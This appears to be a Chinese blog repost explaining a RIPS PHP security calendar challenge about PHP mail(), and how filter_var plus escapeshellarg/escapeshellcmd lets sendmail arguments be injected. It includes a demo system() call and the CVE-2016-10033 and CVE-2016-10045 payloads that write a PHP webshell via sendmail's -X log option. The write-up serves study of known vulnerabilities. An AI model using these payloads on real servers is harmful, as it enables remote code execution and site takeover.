PHP mail()可能导致的问题
参考文献:https://xz.aliyun.com/t/2501
题目网址:https://www.ripstech.com/php-security-calendar-2017/
环境:
php version < 5.2.0
phpmailer < 5.2.18
php 没有安装 pcre(no default)
safe_mode = false(default)
题目
class Mailer { private function sanitize($email) { if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { return ''; } return escapeshellarg($email); } public function send($data) { if (!isset($data['to'])) { $data['to'] = 'none@ripstech.com'; } else { $data['to'] = $this->sanitize($data['to']); } if (!isset($data['from'])) { $data['from'] = 'none@ripstech.com'; } else { $data['from'] = $this->sanitize($data['from']); } if (!isset($data['subject'])) { $data['subject'] = 'No Subject'; } if (!isset($data['message'])) { $data['message'] = ''; } mail($data['to'], $data['subject'], $data['message'], '', "-f" . $data['from']); } } $mailer = new Mailer(); $mailer->send($_POST);
①mail()函数
整体来看此题目是发送邮件的,先看下mail()函数
的用法
mail(to,subject,message,headers,parameters) to 必需。规定邮件的接收者。 subject 必需。规定邮件的主题。该参数不能包含任何换行字符。 message 必需。规定要发送的消息。 headers 必需。规定额外的报头,比如 From, Cc 以及 Bcc。 parameters 必需。规定 sendmail 程序的额外参数。
②filter_var()函数
filter_var($email, FILTER_VALIDATE_EMAIL)//邮件过滤器,确保在第5个参数中仅使用有效的电子邮件地址mail()
filter_var(variable, filter, options)函数通过指定的过滤器过滤变量。如果成功,则返回已过滤的数据,如果失败,则返回 false variable 必需。规定要过滤的变量。 filter 可选。规定要使用的过滤器的 ID。 options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
此函数在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,通过重叠单引号和双引号,欺骗 filter_var()
,这样就可以绕过检测。
一个简单的例子:
<?php var_dump(filter_var('\'is."\'\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL)); var_dump(filter_var('"is.\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL)); var_dump(filter_var('"is.""\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL)); ?>
③escapeshellcmd()函数
引入的特殊符号,虽然绕过了filter_var()
的检测,但PHP的mail()
在底层调用了 escapeshellcmd()
,对用户输入的邮箱地址进行检测,即使存在特殊符号,也会被 escapeshellcmd()
处理转义,这样就没办法达到命令执行的目的了。
但还调用了escapeshellarg()//把字符串转码为可以在 shell 命令里使用的参数
,此函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,确保能够直接将一个字符串传入 shell 函数(含 exec(),system(),反引号
)
一个例子
<?php $a="127.0.0.1' -v -d a=1"; $b=escapeshellarg($a); $c=escapeshellcmd($b); $cmd="curl ".$c; var_dump($b)."\n"; var_dump($c)."\n"; var_dump($cmd)."\n"; system($cmd); ?>
- 传入的参数是
127.0.0.1' -v -d a=1
-
escapeshellarg()
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。处理之后为:'127.0.0.1'\'' -v -d a=1'
- 接着
escapeshellcmd()
对第二步处理后字符串中的\
以及a=1'
中的单引号进行转义处理,结果为:'127.0.0.1'\\'' -v -d a=1\'
- 第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分:'127.0.0.1'\
\'' -v -d
a=1\'
- 所以这个payload可以简化为
curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\
发起请求,POST 数据为a=1'
。
根据此漏洞有两个实例:
CVE-2016-10033
payload:a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
然后通过 linux 自身的 sendmail 写log的方式,把log写到web根目录下。将日志文件后缀定义为 .php ,即可成功写入webshell。
CVE-2016-10045
payload:
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
最坏的不是面试被拒,而是根本没有面试机会!
本人在之前的博客里写了很多面试技巧,这是有个前提:至少候选人被面试了,在这个前提下,候选人哪怕失败了,至少也能用实战来检验和校对面试准备的结果,用句比较时髦的话来说就是试错,多试几次之后总能找到正确的方式。 本人在技术面试的实践中,对简历会做初步的筛选,在这过程中,会发现有些简历是一定通不过的,也就是说不会有面试机会,甚至如果该候选人用这份简历,在其它公司也未必能得到面试机会,那么这类候选人就比较悲催了。 为什么这么说呢?第一,这些候选人往往甚至不会意识到这些,往往继续用这份简历投,这样大把时间就这样浪费了。第二,如果真的是瞎猫碰上死耗子,得到技术面试的机会,那么面试官在阅读这份简历时,对该候选人的印象不会很好,也就是说,这类候选人得在面试中表现非常出色才能应聘成功。 如果这类候选人能力差倒也算了,但如果能力尚可(或比较优秀),那么这就非常可惜了。 在这博客的主要内容有如下四点: 第一,哪类简历一定没面试机会。 第二,如何让简历为你争取更多的面试机会。 第三,如何在简历中高效地叙述项目经验。 第四,在项目经验比较少的情况下(比如毕业生或实习生或初级开发),如何挖掘项目经验。 其它内容,...
- 下一篇
PHP学习3——数组
主要内容: 简介 常用的方法 循环遍历数组 PHP预定义数组 数组的处理函数 数组 PHP由于是弱类型的语言,他的变量类型是可以自由变换的,他的数组很自由,长度是可以动态增加的。 他的索引默认为数字0开始,另外有一个很强大的地方就是,他的数组可以和字典一样,通过(key-value)键值对模式来存储(厉害哦) <?php //声明数组,并初始化 $xiaoli=array("小李",25,"男","google公司","xiaoli@php.com"); //输出数组 print_r($xiaoli); echo "<br/>"; $xiaobai[2]="小白"; $xiaobai[]=20; $xiaobai[]="女"; $xiaobai[]="baidu公司"; $xiaobai[]="xiaobai@php.com"; //输出数组 print_r($xiaobai); echo "<br/>"; $bai["姓名"]="小白"; $bai['年龄']=20; $bai['性别']="女"; $bai['公司']="baidu公司"; $bai[...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- Docker安装Oracle12C,快速搭建Oracle学习环境
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- CentOS6,CentOS7官方镜像安装Oracle11G
- CentOS关闭SELinux安全模块
- CentOS7设置SWAP分区,小内存服务器的救世主
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装